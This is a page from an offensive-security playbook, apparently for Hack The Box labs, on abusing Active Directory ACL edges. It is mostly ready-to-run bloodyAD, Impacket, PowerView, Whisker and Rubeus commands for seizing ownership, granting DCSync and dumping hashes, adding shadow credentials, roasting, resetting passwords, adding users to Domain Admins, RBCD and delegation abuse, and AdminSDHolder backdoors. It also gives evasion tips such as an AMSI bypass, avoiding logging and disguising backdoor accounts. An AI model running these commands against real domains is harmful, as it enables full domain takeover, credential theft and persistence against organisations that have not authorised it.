[!dashboard] Attack-flow navigation Dashboard: HTB Pentest Attack Flow
Section: 09 of 17 · Focus: Stage 06 — ACL and Object Abuse
Previous: Stage 05 — Kerberos Attacks · Next: Stage 07 — ADCS and Certificate Abuse
🩸 STAGE 6 — ACL & Object Abuse (BloodHound edges)
This is where BloodHound edges become shells. bloodyAD is my driver — it talks LDAP/LDAPS/SAMR straight to the DC and turns every ACL edge into one write. PowerView (Windows foothold) and Impacket (Linux) are the equivalents when bloodyAD isn’t an option. Workflow: collect the graph → click the outbound edge → find it below → copy the one-liner → reverse it in cleanup.
[!tools] Stage this PowerView.ps1 (SHA-256 · GPG signature) — PowerSploit PowerView:
Find-InterestingDomainAcl,Get-DomainObjectAcl,Add-DomainObjectAcl,Set-DomainObjectOwner,Set-DomainUserPassword. AMSI-bypass first on modern boxes; SharpView is the C# port if PowerShell is constrained. StandIn_v13_Net35_45.zip (SHA-256 · GPG signature) — StandIn: small C# ACE/object manipulator that flies under PowerShell logging — owner/ACE grants, group adds, AS-REP/RBCD flips, LAPS read. targetedKerberoast.py (SHA-256 · GPG signature) — targetedKerberoast: one-shot Linux GenericWrite abuse — sets SPN, roasts, prints hashcat-ready hash. Whisker.exe (SHA-256 · GPG signature) — Whisker: Windows-side Shadow Credentials (writesmsDS-KeyCredentialLink); pair with Rubeusasktgt /getcredentialsfor the PKINIT+UnPAC tail. Linux twin: pywhisker.Link-only drivers: bloodyAD · Impacket (
dacledit.py,owneredit.py,rbcd.py,addcomputer.py) · NetExec · autobloody · evil-winrm.
[!note] Auth block for every bloodyAD call Every command uses
-d "$DOMAIN" -u "$U" -p "$P" --host "$DC". Swap-p "$P"for-p ':<NThash>'to pass-the-hash, add-kfor Kerberos,-sfor LDAPS (so writes aren’t cleartext). If the DC name won’t resolve, add-i "$IP" --dns "$IP". Full auth matrix + verbs in BloodyAD.
ACE primer — what each edge actually means
Every BloodHound abuse edge is an ACE in the target’s security descriptor. Read this table once, then every section below is just “which write do I get”.
| ACE / BloodHound edge | AD right (GUID family) | What it lets me do | Go-to abuse |
|---|---|---|---|
| GenericAll | RIGHT_GENERIC_ALL (full control) | Everything: write any attr, rewrite DACL, take ownership | Shadow creds / targeted roast (user) · group add (group) · RBCD (computer) |
| GenericWrite | RIGHT_GENERIC_WRITE | Write most attributes, not the DACL, not password | Targeted Kerberoast (plant SPN) · shadow creds · logon script · UAC flips |
| WriteDacl | WRITE_DAC | Rewrite the object’s DACL | Grant self GenericAll; on domain root → grant DCSync |
| WriteOwner / Owns | WRITE_OWNER | Seize ownership → owner always controls the DACL | Own it → grant self GenericAll (two-step WriteDacl) |
| ForceChangePassword | User-Force-Change-Password extended right | Reset password without knowing the old one | Set-DomainUserPassword / bloodyAD set password (loud) |
| AddMember / AddSelf | Write on group’s member attribute (AddSelf = validated write, self only) | Add accounts (or just me) to the group | net group / Add-DomainGroupMember / bloodyAD add groupMember |
| AllExtendedRights | RIGHT_DS_CONTROL_ACCESS (all ext. rights) | All extended rights at once | On domain root = DCSync now (no write needed); on user = password reset |
| Self (validated) | Validated write bound to the object itself | e.g. self-service group membership, SPN self-write | Context-dependent — check which validated write the GUID maps to |
| WriteProperty (SPN) | Write on servicePrincipalName | Set/clear SPNs only | Targeted Kerberoast (plant SPN → roast → remove) |
| WriteProperty (logonscript) | Write on scriptPath | Set a logon script UNC path | Fires at victim’s next interactive logon |
| WriteProperty (msDS-KeyCredentialLink) = AddKeyCredentialLink | Write key credentials | Shadow Credentials → PKINIT → NT hash, no password touch | |
| ReadLAPSPassword | Read ms-Mcs-AdmPwd / msLAPS-Password | Read the machine’s local admin password | Get-DomainComputer … ms-mcs-admpwd / LAPSToolkit (quiet read) |
| ReadGMSAPassword | Read msDS-ManagedPassword | Read a gMSA’s current password blob → derive NT hash | DSInternals / gMSADumper (quiet read) |
| DS-Replication-Get-Changes(-All) | 1131f6aa/1131f6ad/…-9c15-002f18460f81 GUIDs on domain root | Replicate directory data | DCSync — secretsdump.py / mimikatz lsadump::dcsync (see Stage 10) |
[!tip] ACE algebra
GenericAll⊇GenericWrite+WriteDacl+WriteOwner— a GenericAll target is vulnerable to every attack listed under the lesser rights.WriteOwner→WriteDacl→GenericAllis the standard promotion chain: owner can always rewrite the DACL regardless of what the DACL says.Two rights deserve special attention because they hide in plain sight:
Selfis meaningless until you resolve theObjectAceTypeGUID — it might be “add self to group” (gold) or “write my own phone number” (nothing).Get-DomainObjectAcl -ResolveGUIDsordacledit.py -action readwill tell you.ReadLAPSPassword/ReadGMSAPasswordnever appear as “dangerous” in some collectors but are pure credential theft with zero modification events — always check inbound read edges, not just write edges.
Reading ACLs — find the edge before you swing it
# BloodHound CE collection (the graph IS the ACL map) — see Stage 04 for collector options
bloodhound-python -d "$DOMAIN" -u "$U" -p "$P" -ns "$IP" -c All --zip
# nxc one-liner collector:
nxc ldap "$IP" -u "$U" -p "$P" --bloodhound -c All --dns-server "$IP"
# bloodyAD: everything I can write to — start here
bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" get writable --detail
# which ACEs I actually hold on a target (Owner / WriteDacl / GenericWrite / GenericAll)
bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" get object victim --resolve-sd
# Impacket equivalents
findDelegation.py "$DOMAIN"/"$U":"$P" -dc-ip "$IP" # delegation edges
dacledit.py -action read -target victim "$DOMAIN"/"$U":"$P" -dc-ip "$IP" # raw DACL dump
# nxc — quick delegation + group context sweeps
nxc ldap "$IP" -u "$U" -p "$P" --find-delegation
nxc ldap "$IP" -u "$U" -p "$P" -M get-desc-users # stray creds while you're here
# PowerView (Windows foothold) — the classic enumeration trio
Find-InterestingDomainAcl -ResolveGUIDs | ? { $_.IdentityReferenceName -match "$env:USERNAME" }
Get-DomainObjectAcl -Identity victim -ResolveGUIDs | ? { $_.ActiveDirectoryRights -match 'GenericAll|WriteDacl|WriteOwner|GenericWrite' }
# domain-root replication rights (who can DCSync already?)
Get-DomainObjectAcl -Identity 'DC=corp,DC=local' -ResolveGUIDs |
? { $_.ObjectAceType -match 'Replicating' }
BloodHound Cypher — outbound object control from my user:
MATCH p=(n {name:'YOU@DOMAIN.LOCAL'})-[:GenericAll|GenericWrite|WriteDacl|WriteOwner|ForceChangePassword|AddMember|AllExtendedRights]->(m) RETURN p
// and the money query — shortest path to DA:
MATCH p=shortestPath((n {name:'YOU@DOMAIN.LOCAL'})-[*1..]->(m {name:'DOMAIN ADMINS@DOMAIN.LOCAL'})) RETURN p
[!tip] Don’t trust one source BloodHound edges are a snapshot — re-confirm the ACE with
bloodyAD get object victim --resolve-sdordacledit.py -action readbefore burning a write. Stale graph data is the #1 cause of “the one-liner didn’t work”. Group membership changes also take effect only on next logon/TGT — bloodyAD re-authenticates per call, PowerView/klist sessions don’t.
Edge → command quick index
| BloodHound edge | bloodyAD one-liner | PowerView / Impacket equivalent |
|---|---|---|
| Owns / WriteOwner | set owner victim "$U" → add genericAll victim "$U" | Set-DomainObjectOwner / owneredit.py → dacledit.py |
| WriteDacl | add genericAll victim "$U" (or add dcsync "$U" on domain) | Add-DomainObjectAcl / dacledit.py -rights FullControl|DCSync |
| GenericAll (user) | add shadowCredentials victim | certipy shadow auto / pywhisker / Whisker.exe |
| GenericAll (group) | add groupMember 'Domain Admins' "$U" | Add-DomainGroupMember / ldap_shell |
| GenericAll (computer) | add rbcd 'TARGET$' 'ATTACKER$' | rbcd.py -action write / shadow creds on TARGET$ |
| GenericWrite | set object victim servicePrincipalName -v 'HTTP/x' | Set-DomainObject -Set @{serviceprincipalname=…} / targetedKerberoast.py |
| ForceChangePassword | set password victim 'Newpass123!' | Set-DomainUserPassword / net rpc password |
| AddSelf / AddMember | add groupMember 'Domain Admins' "$U" | Add-DomainGroupMember / net group "Domain Admins" $U /add /domain |
| AddKeyCredentialLink | add shadowCredentials victim | certipy shadow auto / pywhisker |
| AllExtendedRights / DCSync | add dcsync "$U" → secretsdump.py | dacledit.py -rights DCSync → secretsdump.py |
| AddAllowedToAct | add rbcd 'TARGET$' 'ATTACKER$' | rbcd.py -action write |
| ReadLAPSPassword | get object TARGET$ --attr msLAPS-Password | Get-DomainComputer … ms-mcs-admpwd / nxc ldap --laps |
| ReadGMSAPassword | get object gmsa$ --attr msDS-ManagedPassword | DSInternals Get-ADReplAccount / gMSADumper.py |
Owns / WriteOwner
What to look for: an Owns or WriteOwner edge to a user/group/computer. The owner can always rewrite the DACL, so this is full control in two steps.
Exploit:
# 1. take ownership
bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" set owner victim "$U"
# 2. grant myself GenericAll — now do any GenericAll attack below
bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" add genericAll victim "$U"
# Impacket equivalent
owneredit.py -action write -new-owner "$U" -target victim "$DOMAIN"/"$U":"$P" -dc-ip "$IP"
dacledit.py -action write -rights FullControl -principal "$U" -target victim "$DOMAIN"/"$U":"$P" -dc-ip "$IP"
# PowerView equivalent
Set-DomainObjectOwner -Identity victim -OwnerIdentity $U
Add-DomainObjectAcl -TargetIdentity victim -PrincipalIdentity $U -Rights All
[!warning] Watch out
set owneris not rolled back by autobloody and leaves a durable IOC (4670/5136). Note the original owner (owneredit.py -action read) and hand it back in cleanup. OnadminCount=1targets the grant is reverted by SDProp within 60 min — act fast, or backdoor AdminSDHolder instead.
WriteDacl
What to look for: a WriteDacl edge. Grant yourself full control on the object — or, if the edge is on the domain root, grant yourself DCSync.
Exploit:
# grant self full control over the object
bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" add genericAll victim "$U"
# WriteDacl on the DOMAIN object → grant DCSync, then replicate
bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" add dcsync "$U"
secretsdump.py "$DOMAIN"/"$U":"$P"@"$IP"
# Impacket equivalent — SNAPSHOT FIRST (see OPSEC section), then write
dacledit.py -action backup -target-dn "DC=${DOMAIN%%.*},DC=${DOMAIN#*.}" "$DOMAIN"/"$U":"$P" -dc-ip "$IP"
dacledit.py -action write -rights DCSync -principal "$U" -target-dn "DC=${DOMAIN%%.*},DC=${DOMAIN#*.}" "$DOMAIN"/"$U":"$P" -dc-ip "$IP"
# ...dump, then restore:
dacledit.py -action restore -file dacledit-*.bak "$DOMAIN"/"$U":"$P" -dc-ip "$IP"
# PowerView equivalent
Add-DomainObjectAcl `
-TargetIdentity 'DC=corp,DC=local' `
-PrincipalIdentity $U `
-Rights DCSync
[!warning] Watch out Leaving DCSync on a low-priv user is a permanent IOC. Always
remove dcsync "$U"after you’ve dumped. WriteDacl → DCSync is the single most common ACL escalation — many envs don’t even audit 4662/5136, but assume they do.
GenericAll
What to look for: the nuclear edge — superset of GenericWrite + WriteDacl + WriteOwner. Pick the exploit by target type.
Exploit:
# USER → recover NT hash via shadow creds (quiet, reversible) — preferred
bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" add shadowCredentials victim
# USER → reset password (loud, breaks their logon)
bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" set password victim 'Newpass123!'
# USER → targeted Kerberoast (works without PKINIT/ADCS)
python3 targetedKerberoast.py -d "$DOMAIN" -u "$U" -p "$P" --only-abuse --dc-ip "$IP"
# GROUP → add myself
bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" add groupMember 'Domain Admins' "$U"
# COMPUTER → option A: RBCD (see delegation below)
bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" add rbcd 'TARGET$' 'ATTACKER$'
# COMPUTER → option B: shadow credentials on the machine account → its NT hash → local admin
bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" add shadowCredentials 'TARGET$'
Windows-foothold equivalent (Whisker.exe — staged above):
# add a key credential to the target (user or computer)
.\Whisker.exe add /target:victim /domain:$DOMAIN /dc:$DC
# -> note the DeviceID for cleanup; Whisker prints a ready-made Rubeus command:
.\Rubeus.exe asktgt /user:victim /certificate:<Base64PFX> /password:"<pfxpass>" /domain:$DOMAIN /dc:$DC /getcredentials /show /nowrap
# cleanup: .\Whisker.exe remove /target:victim /deviceid:<DeviceID>
[!tip] GenericAll on a GROUP → cascade Add yourself to a group that holds GenericWrite over service accounts, then shadow-cred each member — all in bloodyAD. It re-authenticates on every call, so the new membership (and its inherited rights) is live on the very next command with no re-login. This is the Fluffy chain:
add groupMember 'Service Accounts' "$U"→add shadowCredentials winrm_svc→add shadowCredentials ca_svc.
[!warning] Watch out Since GenericAll ⊇ GenericWrite, every GenericWrite attack (targeted Kerberoast, logon script, AS-REP) also works on this target. On a computer target, RBCD needs
ms-DS-MachineAccountQuota > 0to createATTACKER$; shadow creds onTARGET$don’t (no new object needed).
GenericWrite
What to look for: write to (most) attributes but not the DACL. No password reset — but you can plant an SPN, a Key Credential, a logon script, or flip a UAC flag.
Exploit:
# Targeted Kerberoast — Linux one-shot (staged above): plant SPN → roast → auto-cleanup
python3 targetedKerberoast.py -d "$DOMAIN" -u "$U" -p "$P" --dc-ip "$IP"
# -v verbose · --only-abuse only roast objects I control · --no-cleanup skip SPN removal (don't)
hashcat -m 13100 roast.txt rockyou.txt
# Manual equivalent — plant SPN → roast → REMOVE THE SPN (always)
bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" set object victim servicePrincipalName -v 'HTTP/fake.'"$DOMAIN"
GetUserSPNs.py "$DOMAIN"/"$U":"$P" -dc-ip "$IP" -request-user victim -outputfile roast.txt
bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" set object victim servicePrincipalName # cleanup (omit -v = clear)
# Shadow credentials (also reachable via GenericWrite) — best route if ADCS/PKINIT present
bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" add shadowCredentials victim
# Targeted AS-REP roast — set DONT_REQ_PREAUTH → grab AS-REP → unset
bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" add uac victim -f DONT_REQ_PREAUTH
GetNPUsers.py "$DOMAIN"/victim -no-pass -dc-ip "$IP" -format hashcat -outputfile asrep.hash
bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" remove uac victim -f DONT_REQ_PREAUTH
# Logon-script abuse — fires at victim's next INTERACTIVE logon
bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" set object victim scriptPath -v '\\'"$LHOST"'\share\run.bat'
# PowerView equivalent from a Windows foothold
Set-DomainObject -Identity victim -Set @{
serviceprincipalname = 'fake/kerberoast'
}
.\Rubeus.exe kerberoast /user:victim /outfile:roast.txt
Set-DomainObject -Identity victim -Clear serviceprincipalname
# StandIn (staged above) — when PowerShell logging/AMSI is a problem
.\StandIn.exe --object samaccountname=victim --set spn "HTTP/fake.$DOMAIN"
.\StandIn.exe --object samaccountname=victim --remove spn
.\StandIn.exe --object samaccountname=victim --asrep # flip DONT_REQ_PREAUTH
[!warning] Watch out GenericWrite does not include
User-Force-Change-Password— you cannot reset the password with it. Use shadow creds or Kerberoast.scriptPathonly fires on an interactive logon, so it’s useless against a service account that never touches a desktop. GenericWrite on a group ≠ AddMember — you need GenericAll/AddMember for that. A planted SPN left behind is a trivial IOC (setspn -Q/ BloodHound) — remove it the moment the TGS lands.
WriteProperty variants (scoped writes): a WriteProperty ACE limited to one attribute is just GenericWrite with blinders. Read the ACE’s ObjectAceType GUID (-ResolveGUIDs) to know which attribute you can touch:
| WriteProperty target | Abuse | Notes |
|---|---|---|
servicePrincipalName | Targeted Kerberoast (set → roast → clear) | Also granted by the Self validated-write on some objects |
scriptPath (logon script) | UNC path to a payload; fires at interactive logon | Pair with a Responder/SMB capture share if execution is slow |
msDS-KeyCredentialLink | Shadow Credentials | See dedicated section |
userAccountControl | Flip DONT_REQ_PREAUTH (AS-REP roast) or delegation flags | Revert with remove uac |
member (on a group) | AddMember | See dedicated section |
msDS-AllowedToActOnBehalfOfOtherIdentity | RBCD | See delegation section |
ForceChangePassword
What to look for: the User-Force-Change-Password extended right — reset the password without knowing the old one. Single-purpose, but one reset of a DA/service account = domain.
Exploit:
bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" set password victim 'Newpass123!'
# Samba/RPC equivalents from Linux
rpcclient -U "$DOMAIN/$U%$P" "$DC" -c "setuserinfo2 victim 23 Newpass123!"
net rpc password victim 'Newpass123!' -U "$DOMAIN/$U%$P" -S "$DC"
# PowerView equivalent
$NewPassword = ConvertTo-SecureString 'Newpass123!' -AsPlainText -Force
Set-DomainUserPassword -Identity victim -AccountPassword $NewPassword
[!tip] Prefer the quiet alternative If the same edge set also gives you GenericWrite/GenericAll on the victim, skip the reset — shadow credentials get you the NT hash (and a cert) without touching
unicodePwd. The victim keeps working, no 4724 fires, and there’s nothing to “change back” beyond removing a DeviceID. ForceChangePassword is the fallback for environments without PKINIT where roasting failed (strong password).
# the quiet alternative in one line (requires PKINIT)
bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" add shadowCredentials victim
[!warning] Watch out Password reset is the loudest ACL attack — the victim is locked out instantly and it fires 4724. If you also hold GenericWrite/GenericAll, prefer shadow credentials (original password keeps working). If you must reset, note the box owner and reset back on an engagement. Also: resetting an account used by a running service breaks the service — check
servicePrincipalNameand logon events before you swing.
AddSelf / AddMember
What to look for: write to the group’s member attribute (AddSelf = you may only add yourself). Instant escalation if it’s a privileged group.
Exploit:
bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" add groupMember 'Domain Admins' "$U"
# verify + cleanup
nxc smb "$IP" -u "$U" -p "$P" -x "whoami /groups"
bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" remove groupMember 'Domain Admins' "$U"
# Windows equivalents
net group "Domain Admins" $U /add /domain
Add-DomainGroupMember -Identity 'Domain Admins' -Members $U # PowerView
.\StandIn.exe --group "Domain Admins" --add $U # StandIn
# cleanup: net group "Domain Admins" $U /del /domain
# Impacket / Linux equivalents
# ldap_shell: add_user_to_group me "Domain Admins"
bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" get group 'Domain Admins' --attr member # verify before/after
[!tip] Grab what you need, then leave If I add myself to Domain Admins, I DCSync the KRBTGT hash immediately, then
remove groupMember— the shorter the membership window (4728/4756), the less likely the alert lands. Membership isn’t live for tools that cache a TGT — request a fresh ticket (klist purge/ newgetTGT.py) or use bloodyAD which re-auths per call.AddSelf vs AddMember: with
AddSelfyou can only add yourself — no staging a second backdoor account. Plan your single seat accordingly.
ReadLAPSPassword / ReadGMSAPassword — quiet reads
What to look for: read rights on ms-Mcs-AdmPwd (legacy LAPS), msLAPS-Password (Windows LAPS) on a computer, or msDS-ManagedPassword on a gMSA. These are reads, not writes — no modification events, just directory access (4662 if SACLs exist at all). Best-value edges in the graph.
# PowerView — legacy LAPS
Get-DomainComputer -Identity TARGET -Properties ms-mcs-admpwd,ms-mcs-admpwdexpirationtime
# LAPSToolkit: Get-LAPSComputers | findstr TARGET · SharpLAPS.exe
# Linux / nxc — one shot, also checks readability automatically
nxc ldap "$IP" -u "$U" -p "$P" -M laps # or --laps on newer builds
# gMSA password blob → NT hash
python3 gMSADumper.py -u "$U" -p "$P" -d "$DOMAIN" -l "$IP"
# bloodyAD raw read
bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" get object 'gmsa_svc$' --attr msDS-ManagedPassword
# DSInternals — gMSA blob → NT hash from a Windows foothold
$blob = (Get-ADServiceAccount -Identity gmsa_svc -Properties msDS-ManagedPassword).'msDS-ManagedPassword'
$mp = ConvertFrom-ADManagedPasswordBlob $blob
ConvertTo-NTHash $mp.SecureCurrentPassword
[!tip] OPSEC — reads are quiet, writes are loud LAPS/gMSA reads touch nothing on the target and fire no object-modification events — at worst a 4662 on the DC if the attribute SACL is audited (rare). Compare with a password reset (4724) or group add (4728). When the graph offers both a read and a write path to the same host, take the read every time.
AllExtendedRights / DCSync
What to look for: AllExtendedRights on the domain root means you already hold DS-Replication-Get-Changes(-All) — DCSync with no DACL modification needed. On a user it grants User-Force-Change-Password.
Exploit:
# domain root → replicate straight away (you already have the right)
secretsdump.py "$DOMAIN"/"$U":"$P"@"$IP" -just-dc-user krbtgt
secretsdump.py "$DOMAIN"/"$U":"$P"@"$IP" # full dump
# only need to GRANT it? (WriteDacl on domain) — then dump, then remove
bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" add dcsync "$U"
bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" remove dcsync "$U"
# mimikatz on a DC-adjacent foothold (same rights, no Linux needed)
lsadump::dcsync /domain:$DOMAIN /user:krbtgt
[!warning] Watch out
AllExtendedRightsdiffers fromWriteDacl: no need to add the right, you already have it — don’t waste a noisydacleditwrite. Replication fires 4662; a low-priv account DCSyncing is a screaming signature, so grab KRBTGT + targets and get out. What to do with the dumped hashes (PtH, golden ticket, offline crack): Stage 10 — Lateral Movement. Deep dive: 🟡 Attack.Practical order of operations on the domain root:
secretsdump.py … -just-dc-user krbtgt— krbtgt first (golden ticket capability).- Then the specific DA/service accounts you actually need.
- Only then, if required, the full dump — every additional replicated attribute widens the 4662 footprint.
Shadow Credentials (AddKeyCredentialLink)
What to look for: write to msDS-KeyCredentialLink (via GenericWrite / GenericAll / WriteDacl / AddKeyCredentialLink) with PKINIT/ADCS present and DFL 2016+. Stealthiest takeover — no password change, survives resets.
Exploit:
# bloodyAD does the WHOLE attack: adds the key, does PKINIT, PRINTS the NT hash — no Certipy needed
bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" add shadowCredentials victim
# [+] NT hash via PKINIT: a9285c625af80519ad784729655ff325
# save the recovered TGT/pfx to a path, then clean up the key
bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" add shadowCredentials victim --path /tmp/victim
bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" remove shadowCredentials victim
# log in with the recovered hash (winrm_svc example)
evil-winrm -i "$DC" -u victim -H a9285c625af80519ad784729655ff325
# Certipy equivalent (full auto: add key → PKINIT → hash)
certipy-ad shadow auto -u "$U"@"$DOMAIN" -p "$P" -account victim -dc-ip "$IP" -dc-host "$DC"
# pyWhisker + certipy auth (two-step)
pywhisker.py -d "$DOMAIN" -u "$U" -p "$P" --target victim --action add --dc-ip "$IP"
certipy-ad auth -pfx victim.pfx -dc-ip "$IP"
# cleanup: pywhisker.py … --action remove --device-id <id>
# works on COMPUTER objects too → machine account hash → often local admin on that box
certipy-ad shadow auto -u "$U"@"$DOMAIN" -p "$P" -account 'TARGET$' -dc-ip "$IP" -dc-host "$DC"
Windows foothold: use Whisker.exe + Rubeus (staged at top — see the GenericAll section for exact commands).
[!warning] Watch out PKINIT is Kerberos: use the DC FQDN (
--host "$DC", not the IP), and if the DC clock is skewed prefixfaketime -f '+7h' …— this is the exact gotcha on boxes like Fluffy. Fails with no ADCS/WHfB or on pre-2016 schema. Writes fire 5136 onmsDS-KeyCredentialLink; remove the DeviceID after. Full detail: Shadow Credentials — msDS-KeyCredentialLink Abuse.
Delegation abuse (RBCD / Constrained / Unconstrained)
RBCD (AddAllowedToAct, or GenericWrite/GenericAll on a computer)
What to look for: write to msDS-AllowedToActOnBehalfOfOtherIdentity on a computer → impersonate anyone to a service on it. Needs MAQ > 0 to create a controlled machine.
Exploit:
# 1. create a computer I control (MAQ default = 10)
bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" add computer ATTACKER '$Passw0rd123'
# 2. set the RBCD trust on the target computer
bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" add rbcd 'TARGET$' 'ATTACKER$'
# 3. S4U → impersonation ticket for Administrator to the target
getST.py -spn cifs/target."$DOMAIN" -impersonate Administrator "$DOMAIN"/'ATTACKER$':'$Passw0rd123' -dc-ip "$IP"
# 4. use it, then clean up
export KRB5CCNAME=Administrator@cifs_target.${DOMAIN}@${DOMAIN^^}.ccache
psexec.py -k -no-pass "$DOMAIN"/Administrator@target."$DOMAIN"
bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" remove rbcd 'TARGET$' 'ATTACKER$'
# Impacket-only equivalents for steps 1–2
addcomputer.py -computer-name 'ATTACKER$' -computer-pass '$Passw0rd123' -dc-ip "$IP" "$DOMAIN"/"$U":"$P"
rbcd.py -delegate-from 'ATTACKER$' -delegate-to 'TARGET$' -action write -dc-ip "$IP" "$DOMAIN"/"$U":"$P"
rbcd.py -delegate-to 'TARGET$' -action read -dc-ip "$IP" "$DOMAIN"/"$U":"$P" # verify
rbcd.py -delegate-to 'TARGET$' -action flush -dc-ip "$IP" "$DOMAIN"/"$U":"$P" # cleanup
# PowerView / StandIn from a Windows foothold
$ComputerSid = Get-DomainComputer ATTACKER -Properties objectsid | Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerSid)"
$SDBytes = New-Object byte[] ($SD.BinaryLength); $SD.GetBinaryForm($SDBytes, 0)
Set-DomainObject -Identity 'TARGET$' -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
# StandIn one-liner: .\StandIn.exe --rbcd TARGET$ --sid ATTACKER$
# then: .\Rubeus.exe s4u /user:ATTACKER$ /rc4:<hash> /impersonateuser:Administrator /msdsspn:cifs/target.$DOMAIN /ptt
Constrained delegation (S4U2Proxy)
What to look for: an account with msDS-AllowedToDelegateTo populated whose creds you hold — or GenericWrite on it so you create the condition.
Exploit:
# I already control the delegation account → straight S4U impersonation
getST.py -spn CIFS/"$DC" -impersonate Administrator "$DOMAIN"/svc_web:'SvcPass1!' -dc-ip "$IP"
# create the condition myself (GenericWrite on svc_web): flag it + set the target SPN
bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" add uac svc_web -f TRUSTED_TO_AUTH_FOR_DELEGATION
bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" set object svc_web msDS-AllowedToDelegateTo -v 'CIFS/'"$DC"
getST.py -spn cifs/"$DC" -impersonate Administrator "$DOMAIN"/svc_web:'SvcPass1!' -dc-ip "$IP"
[!tip] /altservice pivot
msDS-AllowedToDelegateToonly listsCIFS/DC? The service name isn’t integrity-protected in the ticket — requestLDAP/HOST/HTTPon the same host. Rubeus:s4u /user:svc_web /rc4:<hash> /impersonateuser:Administrator /msdsspn:CIFS/DC /altservice:LDAP/DC /ptt→ then DCSync via that LDAP ticket.
Unconstrained delegation
What to look for: a non-DC computer with TRUSTED_FOR_DELEGATION. Coerce a DC to auth to it, capture the DC TGT. If I hold GenericWrite on a computer I can set the flag.
# set the flag (then coerce a DC and capture its TGT with Rubeus monitor / krbrelayx)
bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" add uac 'TARGET$' -f TRUSTED_FOR_DELEGATION
# coerce (Linux):
printerbug.py "$DOMAIN"/"$U":"$P"@"$DC" target."$DOMAIN"
[!warning] Watch out RBCD/constrained fail if the impersonated user is in Protected Users or flagged sensitive — target a different DA (or chain Bronze Bit). Set MAQ to
0kills the RBCD computer-creation path. Reverse every delegation write:remove rbcd,remove uac … -f TRUSTED_*, deleteATTACKER$. Delegation flips fire 5136/4741; S4U2Proxy fires 4769. Deep dives: 🟠 Attack · 🟠 Attack · 🟠 Attack.
AdminSDHolder persistence (post-DA)
What to look for: once I hold DA (or WriteDacl on CN=AdminSDHolder), plant a backdoor ACE. SDProp propagates it to every protected object every 60 min — self-healing even if blue team strips it off individual objects.
dacledit.py -action write -rights FullControl -principal backdoor_user \
-target-dn "CN=AdminSDHolder,CN=System,DC=${DOMAIN%%.*},DC=${DOMAIN#*.}" \
"$DOMAIN"/Administrator:"$P" -dc-ip "$IP"
# PowerView: Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=corp,DC=local' -PrincipalIdentity backdoor_user -Rights All
[!warning] Watch out This is persistence, not escalation — needs DA first. Any AdminSDHolder change is exceptionally rare and a critical-severity alert (5136/4780); SDProp also stamps
adminCount=1on affected users, a queryable IOC. Use a plausible service account as the backdoor principal, not an obvious one. Deep dive: 🟡 Attack.
📬 Exchange Windows Permissions → DCSync (group shortcut)
What to look for → membership in Exchange Windows Permissions. After most Exchange installs this group holds WriteDACL on the domain root — a legacy misconfig that is a one-step path to DCSync (the classic Monteverde-style finish).
Exploit
# grant yourself DCSync via the group's WriteDACL, then replicate
dacledit.py -action write -rights DCSync -principal "$U" \
-target-dn "DC=${DOMAIN%%.*},DC=${DOMAIN#*.}" "$DOMAIN"/"$U":"$P" -dc-ip $IP
secretsdump.py "$DOMAIN"/"$U":"$P"@$IP -just-dc
# bloodyAD equivalent:
bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host $DC add dcsync "$U"
[!warning] Watch out Same OPSEC as any WriteDacl→DCSync (fires 4662/5136) —
remove dcsyncafter dumping. Deep dive: 🟣 Attack.
Automate the whole path (autobloody)
When BloodHound draws a clean multi-hop chain of writable edges, don’t walk it by hand — let autobloody compute the cheapest route in Neo4j and fire each edge through bloodyAD:
autobloody -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" -dp 'neo4jpass' \
-ds 'YOU@'"${DOMAIN^^}" -dt 'DOMAIN ADMINS@'"${DOMAIN^^}" -v
[!warning] Watch out Rollback is automatic but partial — it reverses group adds / DACL grants / shadow-cred links but leaves
ForceChangePasswordandsetOwnerin place. Review the path before-y: if the cheapest route runs through a real account’s password reset, that reset is permanent. Labels are case-sensitive UPPERCASENAME@DOMAIN. Cross a non-writable edge (AdminTo,HasSession,CanRDP) and it stops — bridge by hand and re-run. Full flag reference: Autobloody.
🛡️ OPSEC & detection — snapshot, revert, expect the alert
